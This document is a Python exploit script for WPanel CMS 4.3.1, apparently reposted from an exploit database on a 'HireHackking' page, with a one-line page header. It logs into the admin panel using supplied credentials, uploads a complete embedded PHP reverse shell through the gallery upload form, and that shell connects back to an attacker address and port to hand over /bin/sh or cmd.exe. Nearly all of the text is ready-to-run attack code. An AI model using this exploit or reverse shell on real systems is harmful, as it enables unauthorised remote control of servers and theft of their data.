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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WPanel 4.3.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 07/06/2021
# Exploit Author: Sentinal920
# Vendor Homepage: https://github.com/wpanel
# Software Link: https://github.com/wpanel/wpanel4-cms
# Version: 4.3.1
# Tested on: Linux

import requests
import random,string


# Change This
###################################
url = 'http://192.168.182.134:8080'
email = 'admin@localhost.com'
password = 'admin'
###################################

# PHP reverse shell used: https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/php_reverse_shell.php
# Works on linux/windows/mac

###########################################################################
# Make sure to change lhost and lport in the reverse shell below (Line 223)
###########################################################################


# Get_Cookies
r = requests.get(url)
r2 = requests.get(url,cookies=r.cookies)
cookie = r2.cookies['wpanel_csrf_cookie']
name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(9))

payload = '''
-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="wpanel_csrf_token"

'''+cookie+'''
-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="titulo"

'''+name+'''
-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="descricao"

'''+name+'''
-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="tags"

tesad
-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="userfile"; filename="php-reverse-shell.php"
Content-Type: application/x-php

<?php

class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $options = array(); // proc_open() options
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
            $this->os    = 'LINUX';
            $this->shell = '/bin/sh';
        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
            $this->options['bypass_shell'] = true; // we do not want a shell within a shell
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
        } else if (posix_setsid() < 0) {
            // once daemonized you will actually no longer see the script's dump
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        $data = str_replace('<', '<', $data);
        $data = str_replace('>', '>', $data);
        echo $data;
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $size = fstat($input)['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, '/', null, $this->options);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }

                    // ----- WORK BEGIN -----
                    @fwrite($socket, "SOCKET: Shell has connected! PID: " . proc_get_status($process)['pid'] . "\n");
                    do {
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !proc_get_status($process)['running']) { // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break;   // feof() does not work with blocking streams
                        }                                                                      // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], null); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (fstat($pipes[2])['size']/*-------*/) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (fstat($pipes[1])['size']/*-------*/) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------

                fclose($socket);
            }
            // ------ SOCKET END ------

        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('192.168.182.136', 9000);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>


-----------------------------45668787242378192391383974033
Content-Disposition: form-data; name="status"

1
-----------------------------45668787242378192391383974033--


'''
data = 'wpanel_csrf_token='+cookie+'&email='+email+'&password='+password
headers = {'Content-Type': 'application/x-www-form-urlencoded'}	
# Login_as_admin
r3 = requests.post(url+'/index.php/admin/login',cookies=r.cookies,headers=headers,data=data)


def exploit_gallery():	

	# Adding_Reverse_Shell
	headers2 = {'Content-Type': 'multipart/form-data; boundary=---------------------------45668787242378192391383974033'}
	r4 = requests.post(url + '/index.php/admin/galleries/add',cookies=r.cookies,headers=headers2,data=payload)

	print('')
	print('Shell Uploaded as: '+name)
	print('')
	print('Visit: '+url+'/index.php/admin/galleries')
	print('OR')
	print('Visit: '+url+'/index.php/galleries')
	print('')
	
exploit_gallery()


#def exploit_post():
#def exloit_pages():
#def dashboard_avatar_image():